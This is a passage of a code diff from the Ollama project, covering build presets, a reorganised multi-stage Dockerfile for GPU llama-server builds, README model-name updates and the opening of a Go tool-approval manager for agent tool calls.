"OLLAMA_RUNNER_DIR": "mlx"
}
},
{
"name": "MLX CUDA 12",
"inherits": [ "MLX", "CUDA 12" ],
"cacheVariables": {
"OLLAMA_RUNNER_DIR": "mlx_cuda_v12"
}
},
{
"name": "MLX CUDA 13",
"inherits": [ "MLX", "CUDA 13" ],
"cacheVariables": {
"MLX_CUDA_ARCHITECTURES": "86;89;90;90a;100;103;75-virtual;80-virtual;110-virtual;120-virtual;121-virtual",
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
"OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
}
}
],
@@ -124,74 +25,9 @@
"configuration": "Release"
},
{
"name": "CPU",
"configurePreset": "Default",
"targets": [ "ggml-cpu" ]
},
{
"name": "CUDA",
"configurePreset": "CUDA",
"targets": [ "ggml-cuda" ]
},
{
"name": "CUDA 11",
"inherits": [ "CUDA" ],
"configurePreset": "CUDA 11"
},
{
"name": "CUDA 12",
"inherits": [ "CUDA" ],
"configurePreset": "CUDA 12"
},
{
"name": "CUDA 13",
"inherits": [ "CUDA" ],
"configurePreset": "CUDA 13"
},
{
"name": "JetPack 5",
"inherits": [ "CUDA" ],
"configurePreset": "JetPack 5"
},
{
"name": "JetPack 6",
"inherits": [ "CUDA" ],
"configurePreset": "JetPack 6"
},
{
"name": "ROCm",
"configurePreset": "ROCm",
"targets": [ "ggml-hip" ]
},
{
"name": "ROCm 6",
"inherits": [ "ROCm" ],
"configurePreset": "ROCm 6"
},
{
"name": "ROCm 7",
"inherits": [ "ROCm" ],
"configurePreset": "ROCm 7"
},
{
"name": "Vulkan",
"targets": [ "ggml-vulkan" ],
"configurePreset": "Vulkan"
},
{
"name": "MLX",
"targets": [ "mlx", "mlxc" ],
"configurePreset": "MLX"
},
{
"name": "MLX CUDA 12",
"targets": [ "mlx", "mlxc" ],
"configurePreset": "MLX CUDA 12"
},
{
"name": "MLX CUDA 13",
"targets": [ "mlx", "mlxc" ],
"configurePreset": "MLX CUDA 13"
"name": "MLX Metal",
"targets": [ "ollama-mlx-backends" ],
"configurePreset": "MLX Metal"
}
]
}
+189 -98
View File
@@ -37,113 +37,171 @@ RUN dnf install -y unzip \
ENV CMAKE_GENERATOR=Ninja
ENV LDFLAGS=-s
FROM base AS cpu
#
# GPU toolchain stages — provide compilers for llama-server GPU builds
#
FROM base AS cpu-deps
RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'CPU' \
&& cmake --build --preset 'CPU' -- -l $(nproc) \
&& cmake --install build --component CPU --strip
FROM base AS cuda-11
ARG CUDA11VERSION=11.8
RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
ENV PATH=/usr/local/cuda-11/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'CUDA 11' \
&& cmake --build --preset 'CUDA 11' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM base AS cuda-12
FROM base AS cuda-12-deps
ARG CUDA12VERSION=12.8
RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
ENV PATH=/usr/local/cuda-12/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'CUDA 12' \
&& cmake --build --preset 'CUDA 12' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM base AS cuda-13
FROM base AS cuda-13-deps
ARG CUDA13VERSION=13.0
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
ENV PATH=/usr/local/cuda-13/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'CUDA 13' \
&& cmake --build --preset 'CUDA 13' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM base AS rocm-7-deps
ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
FROM base AS rocm-7
ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'ROCm 7' \
&& cmake --build --preset 'ROCm 7' -- -l $(nproc) \
&& cmake --install build --component HIP --strip
RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
ARG CMAKEVERSION
ARG NINJAVERSION
RUN apt-get update && apt-get install -y curl ccache unzip \
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
&& unzip /tmp/ninja.zip -d /usr/local/bin \
&& rm /tmp/ninja.zip
ENV CMAKE_GENERATOR=Ninja
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'JetPack 5' \
&& cmake --build --preset 'JetPack 5' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
ARG CMAKEVERSION
ARG NINJAVERSION
RUN apt-get update && apt-get install -y curl ccache unzip \
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
&& unzip /tmp/ninja.zip -d /usr/local/bin \
&& rm /tmp/ninja.zip
ENV CMAKE_GENERATOR=Ninja
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'JetPack 6' \
&& cmake --build --preset 'JetPack 6' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM base AS vulkan
FROM base AS vulkan-deps
ARG VULKANVERSION
RUN ln -s /usr/bin/python3 /usr/bin/python \
&& wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
&& tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
&& cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
&& cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
&& cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
&& cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
&& rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
ENV VULKAN_SDK=/usr/local
#
# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
#
# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
# GPU stages: GPU backend .so only → lib/ollama/<variant>/
#
FROM cpu-deps AS llama-server-cpu
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'Vulkan' \
&& cmake --build --preset 'Vulkan' -- -l $(nproc) \
&& cmake --install build --component Vulkan --strip
cmake -S llama/server --preset cpu \
&& cmake --build build/llama-server-cpu -- -l $(nproc) \
&& cmake --install build/llama-server-cpu --component llama-server --strip \
&& for lib in \
/usr/lib64/libgomp.so* \
/usr/lib64/libomp.so* \
/opt/rh/gcc-toolset-11/root/usr/lib64/libgomp.so* \
/opt/rh/gcc-toolset-11/root/usr/lib64/libomp.so*; do \
[ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
done
FROM scratch AS publish-llama-server-cpu
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
FROM cuda-12-deps AS llama-server-cuda_v12
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset llama_cuda_v12_linux \
&& cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
&& cmake --install build/llama-server-cuda_v12 --component llama-server --strip
FROM scratch AS publish-llama-server-cuda_v12
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
FROM cuda-13-deps AS llama-server-cuda_v13
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset llama_cuda_v13_linux \
&& cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
&& cmake --install build/llama-server-cuda_v13 --component llama-server --strip
FROM scratch AS publish-llama-server-cuda_v13
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
FROM rocm-7-deps AS llama-server-rocm_v7_2
ENV CC=clang CXX=clang++
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset rocm_v7_2_linux \
&& cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
&& cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
FROM scratch AS publish-llama-server-rocm_v7_2
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
FROM vulkan-deps AS llama-server-vulkan
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset vulkan \
&& cmake --build build/llama-server-vulkan -- -l $(nproc) \
&& cmake --install build/llama-server-vulkan --component llama-server --strip
FROM scratch AS publish-llama-server-vulkan
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
#
# JetPack stages — self-contained with their own base images
#
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
ARG CMAKEVERSION
ARG NINJAVERSION
RUN apt-get update && apt-get install -y curl ccache git unzip \
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
&& unzip /tmp/ninja.zip -d /usr/local/bin \
&& rm /tmp/ninja.zip
ENV CMAKE_GENERATOR=Ninja
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset llama_cuda_jetpack5 \
&& cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
&& cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
FROM scratch AS publish-llama-server-cuda_jetpack5
COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
ARG CMAKEVERSION
ARG NINJAVERSION
RUN apt-get update && apt-get install -y curl ccache git unzip \
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
&& unzip /tmp/ninja.zip -d /usr/local/bin \
&& rm /tmp/ninja.zip
ENV CMAKE_GENERATOR=Ninja
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset llama_cuda_jetpack6 \
&& cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
&& cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
FROM scratch AS publish-llama-server-cuda_jetpack6
COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
#
# MLX stage
#
FROM base AS mlx
ARG CUDA13VERSION=13.0
ARG OLLAMA_MLX_BUILD_JOBS=
ARG OLLAMA_MLX_NVCC_THREADS=2
ARG MLX_CUDA_RAM_MB=
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
&& dnf install -y openblas-devel lapack-devel \
&& dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
@@ -154,7 +212,7 @@ ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
WORKDIR /go/src/github.com/ollama/ollama
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
COPY cmake cmake
COPY x/imagegen/mlx x/imagegen/mlx
COPY go.mod go.sum .
COPY MLX_VERSION MLX_C_VERSION .
@@ -170,9 +228,15 @@ RUN --mount=type=cache,target=/root/.ccache \
&& if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
fi \
&& cmake --preset 'MLX CUDA 13' -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas \
&& cmake --build --preset 'MLX CUDA 13' -- -l $(nproc) \
&& cmake --install build --component MLX --strip
&& cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
&& cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
FROM scratch AS publish-mlx
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
#
# Go build
#
FROM base AS build
WORKDIR /go/src/github.com/ollama/ollama
@@ -190,35 +254,62 @@ ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
RUN --mount=type=cache,target=/root/.cache/go-build \
go build -trimpath -buildmode=pie -o /bin/ollama .
FROM scratch AS publish-go
COPY --from=build /bin/ollama /bin/ollama
#
# Assembly stages — combine llama-server variants + GPU runtime libs
#
FROM --platform=linux/amd64 scratch AS amd64
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
COPY --from=vulkan dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
FROM --platform=linux/arm64 scratch AS arm64
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
FROM scratch AS rocm
COPY --from=rocm-7 dist/lib/ollama /lib/ollama
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
FROM ${FLAVOR} AS archive
COPY --from=cpu dist/lib/ollama /lib/ollama
FROM --platform=linux/amd64 scratch AS amd64-archive
COPY --from=amd64 /lib/ollama /lib/ollama/
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
FROM --platform=linux/arm64 scratch AS arm64-archive
COPY --from=arm64 /lib/ollama /lib/ollama/
FROM ${TARGETARCH}-archive AS archive
COPY --from=build /bin/ollama /bin/ollama
FROM ${FLAVOR} AS image-archive
COPY --from=build /bin/ollama /bin/ollama
FROM ubuntu:24.04
RUN apt-get update \
ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
RUN sed -i \
-e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
-e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
/etc/apt/sources.list.d/ubuntu.sources \
&& apt-get update \
&& apt-get install -y ca-certificates libvulkan1 libopenblas0 \
&& sed -i \
-e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
-e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
/etc/apt/sources.list.d/ubuntu.sources \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
COPY --from=archive /bin /usr/bin
COPY --from=image-archive /bin /usr/bin
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
COPY --from=archive /lib/ollama /usr/lib/ollama
COPY --from=image-archive /lib/ollama /usr/lib/ollama
ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
ENV NVIDIA_VISIBLE_DEVICES=all
+1
View File
@@ -0,0 +1 @@
b9509
+1 -1
View File
@@ -1 +1 @@
0726ca922fc902c4c61ef9c27d94132be418e945
fba4470b89073180056c9ea46c443051375f7399
+1 -1
View File
@@ -1 +1 @@
38ad257088fb2193ad47e527cf6534a689f30943
2165dc08d7b33258260aa849d39f087d50e62962
-76
View File
@@ -1,76 +0,0 @@
UPSTREAM=https://github.com/ggml-org/llama.cpp.git
WORKDIR=llama/vendor
FETCH_HEAD=ec98e2002
.PHONY: help
help:
@echo "Available targets:"
@echo " sync Sync with upstream repositories"
@echo " checkout Checkout upstream repository"
@echo " apply-patches Apply patches to local repository"
@echo " format-patches Format patches from local repository"
@echo " clean Clean local repository"
@echo
@echo "Example:"
@echo " make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
.PHONY: sync
sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
go generate ./$(@D)
.PHONY: llama/llama.cpp
llama/llama.cpp: llama/vendor
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
.PHONY: ml/backend/ggml/ggml
ml/backend/ggml/ggml: llama/vendor
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
PATCHES=$(wildcard llama/patches/*.patch)
PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
.PHONY: apply-patches
.NOTPARALLEL:
apply-patches: $(PATCHED)
llama/patches/.%.patched: llama/patches/%.patch
@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
touch $@; \
else \
echo "Patch failed. Resolve any conflicts then continue."; \
echo "1. Run 'git -C $(WORKDIR) am --continue'"; \
echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'"; \
echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'"; \
exit 1; \
fi
.PHONY: checkout
checkout: $(WORKDIR)
git -C $(WORKDIR) fetch
git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
$(WORKDIR):
git clone $(UPSTREAM) $(WORKDIR)
.PHONY: format-patches
format-patches: llama/patches
git -C $(WORKDIR) format-patch \
--no-signature \
--no-numbered \
--zero-commit \
-o $(realpath $<) \
$(FETCH_HEAD)
.PHONY: clean
clean: checkout
@git -C $(WORKDIR) am --abort || true
$(RM) llama/patches/.*.patched
.PHONY: print-base
print-base:
@echo $(FETCH_HEAD)
+7 -7
View File
@@ -55,7 +55,7 @@ The official [Ollama Docker image](https://hub.docker.com/r/ollama/ollama) `olla
ollama
```
You'll be prompted to run a model or connect Ollama to your existing agents or applications such as `claude`, `codex`, `openclaw` and more.
You'll be prompted to run a model or connect Ollama to your existing agents or applications such as `Claude Code`, `OpenClaw`, `OpenCode` , `Codex`, `Copilot`, and more.
### Coding
@@ -65,7 +65,7 @@ To launch a specific integration:
ollama launch claude
```
Supported integrations include [Claude Code](https://docs.ollama.com/integrations/claude-code), [Codex](https://docs.ollama.com/integrations/codex), [Droid](https://docs.ollama.com/integrations/droid), and [OpenCode](https://docs.ollama.com/integrations/opencode).
Supported integrations include [Claude Code](https://docs.ollama.com/integrations/claude-code), [Codex](https://docs.ollama.com/integrations/codex), [Copilot CLI](https://docs.ollama.com/integrations/copilot-cli), [Droid](https://docs.ollama.com/integrations/droid), and [OpenCode](https://docs.ollama.com/integrations/opencode).
### AI assistant
@@ -77,10 +77,10 @@ ollama launch openclaw
### Chat with a model
Run and chat with [Gemma 3](https://ollama.com/library/gemma3):
Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
```
ollama run gemma3
ollama run gemma4
```
See [ollama.com/library](https://ollama.com/library) for the full list.
@@ -93,7 +93,7 @@ Ollama has a REST API for running and managing models.
```
curl http://localhost:11434/api/chat -d '{
"model": "gemma3",
"model": "gemma4",
"messages": [{
"role": "user",
"content": "Why is the sky blue?"
@@ -113,7 +113,7 @@ pip install ollama
```python
from ollama import chat
response = chat(model='gemma3', messages=[
response = chat(model='gemma4', messages=[
{
'role': 'user',
'content': 'Why is the sky blue?',
@@ -132,7 +132,7 @@ npm i ollama
import ollama from "ollama";
const response = await ollama.chat({
model: "gemma3",
model: "gemma4",
messages: [{ role: "user", content: "Why is the sky blue?" }],
});
console.log(response.message.content);
+868
View File
@@ -0,0 +1,868 @@
package agent
import (
"bytes"
"context"
"fmt"
"os"
"path/filepath"
"regexp"
"slices"
"strings"
"sync"
)
type ApprovalDecision string
const (
ApprovalAllowOnce ApprovalDecision = "allow_once"
ApprovalAllowSession ApprovalDecision = "allow_session"
ApprovalDeny ApprovalDecision = "deny"
)
type ApprovalRisk string
const (
ApprovalRiskLow ApprovalRisk = "low"
ApprovalRiskMedium ApprovalRisk = "medium"
ApprovalRiskHigh ApprovalRisk = "high"
)
type ApprovalRequest struct {
ToolCallID string
ToolName string
Args map[string]any
WorkingDir string
Summary string
Risk ApprovalRisk
Reasons []string
}
type ApprovalResult struct {
Decision ApprovalDecision
Reason string
}
type ApprovalHandler interface {
RequiresApproval(context.Context, Tool, ApprovalRequest) bool
Approve(context.Context, ApprovalRequest) (ApprovalResult, error)
}
type ApprovalPrompter interface {
PromptApproval(context.Context, ApprovalRequest) (ApprovalResult, error)
}
type ApprovalPolicy interface {
EvaluateApproval(context.Context, ApprovalRequest) ApprovalEvaluation
}
type ApprovalEvaluation struct {
Decision ApprovalDecision
RequirePrompt bool
Risk ApprovalRisk
Summary string
Reasons []string
SessionKey string
}
type AutoAllowApproval struct{}
func (AutoAllowApproval) RequiresApproval(context.Context, Tool, ApprovalRequest) bool {
return false
}
func (AutoAllowApproval) Approve(context.Context, ApprovalRequest) (ApprovalResult, error) {
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
}
type ApprovalManagerOptions struct {
Policy ApprovalPolicy
Prompter ApprovalPrompter
AutoApprove bool
}
type ApprovalManager struct {
policy ApprovalPolicy
prompter ApprovalPrompter
autoApprove bool
mu *sync.Mutex
sessionAllowed map[string]struct{}
}
func NewApprovalManager(opts ApprovalManagerOptions) *ApprovalManager {
policy := opts.Policy
if policy == nil {
policy = DefaultApprovalPolicy{}
}
return &ApprovalManager{
policy: policy,
prompter: opts.Prompter,
autoApprove: opts.AutoApprove,
mu: &sync.Mutex{},
sessionAllowed: make(map[string]struct{}),
}
}
func (m *ApprovalManager) WithPrompter(prompter ApprovalPrompter) *ApprovalManager {
if m == nil {
return NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
}
return &ApprovalManager{
policy: m.policy,
prompter: prompter,
autoApprove: m.autoApprove,
mu: m.mu,
sessionAllowed: m.sessionAllowed,
}
}
func (m *ApprovalManager) AutoApproveEnabled() bool {
return m != nil && m.autoApprove
}
func (m *ApprovalManager) RequiresApproval(ctx context.Context, tool Tool, req ApprovalRequest) bool {
if m == nil || m.autoApprove {
return false
}
evaluation := m.evaluate(ctx, req)
if ToolRequiresApproval(tool, req.Args) && evaluation.Decision != ApprovalDeny {
evaluation.RequirePrompt = true
if evaluation.Summary == "" {
evaluation.Summary = fmt.Sprintf("%s wants to run", toolApprovalDisplayName(req.ToolName))
}
if len(evaluation.Reasons) == 0 {
evaluation.Reasons = []string{"tool requires approval"}
}
}
if evaluation.Decision == ApprovalDeny {
return true
}
if evaluation.RequirePrompt {
return !m.sessionAllowedFor(evaluation.SessionKey)
}
return false
}
func (m *ApprovalManager) Approve(ctx context.Context, req ApprovalRequest) (ApprovalResult, error) {
if m == nil || m.autoApprove {
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
}
evaluation := m.evaluate(ctx, req)
req = approvalRequestWithEvaluation(req, evaluation)
if evaluation.Decision == ApprovalDeny {
reason := strings.Join(evaluation.Reasons, "; ")
if reason == "" {
reason = "Tool execution denied."
}
return ApprovalResult{Decision: ApprovalDeny, Reason: reason}, nil
}
if !evaluation.RequirePrompt || m.sessionAllowedFor(evaluation.SessionKey) {
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
}
if m.prompter == nil {
return ApprovalResult{
Decision: ApprovalDeny,
Reason: "Tool execution requires approval, but no approval prompter is available. Re-run with --auto-approve-tools or --yolo to allow tool execution.",
}, nil
}
result, err := m.prompter.PromptApproval(ctx, req)
if err != nil {
return ApprovalResult{}, err
}
if result.Decision == "" {
result.Decision = ApprovalDeny
}
if result.Decision == ApprovalAllowSession {
m.allowSession(evaluation.SessionKey)
}
return result, nil
}
func (m *ApprovalManager) evaluate(ctx context.Context, req ApprovalRequest) ApprovalEvaluation {
if m == nil || m.policy == nil {
return DefaultApprovalPolicy{}.EvaluateApproval(ctx, req)
}
evaluation := m.policy.EvaluateApproval(ctx, req)
if evaluation.Risk == "" {
evaluation.Risk = ApprovalRiskLow
}
if evaluation.SessionKey == "" {
evaluation.SessionKey = approvalSessionKey(req)
}
return evaluation
}
func (m *ApprovalManager) sessionAllowedFor(key string) bool {
if m == nil || key == "" {
return false
}
m.mu.Lock()
defer m.mu.Unlock()
_, ok := m.sessionAllowed[key]
return ok
}
func (m *ApprovalManager) allowSession(key string) {
if m == nil || key == "" {
return
}
m.mu.Lock()
defer m.mu.Unlock()
m.sessionAllowed[key] = struct{}{}
}
func approvalRequestWithEvaluation(req ApprovalRequest, evaluation ApprovalEvaluation) ApprovalRequest {
req.Summary = evaluation.Summary
req.Risk = evaluation.Risk
req.Reasons = slices.Clone(evaluation.Reasons)
return req
}
func approvalSessionKey(req ApprovalRequest) string {
switch req.ToolName {
case "bash":
if command, ok := stringApprovalArg(req.Args, "command"); ok {
return "bash:" + command
}
case "edit":
if path, ok := stringApprovalArg(req.Args, "path"); ok {
return "edit:" + path
}
case "web_search":
if query, ok := stringApprovalArg(req.Args, "query"); ok {
return "web_search:" + query
}
case "web_fetch":
if targetURL, ok := stringApprovalArg(req.Args, "url"); ok {
return "web_fetch:" + targetURL
}
}
return req.ToolName + ":" + stableApprovalArgs(req.Args)
}
type DefaultApprovalPolicy struct{}
func (DefaultApprovalPolicy) EvaluateApproval(_ context.Context, req ApprovalRequest) ApprovalEvaluation {
switch req.ToolName {
case "read":
if path, ok := stringApprovalArg(req.Args, "path"); ok {
if reason := approvalPathEscapeReason(req.WorkingDir, path); reason != "" {
return denyApproval(req.ToolName, ApprovalRiskHigh, reason)
}
}
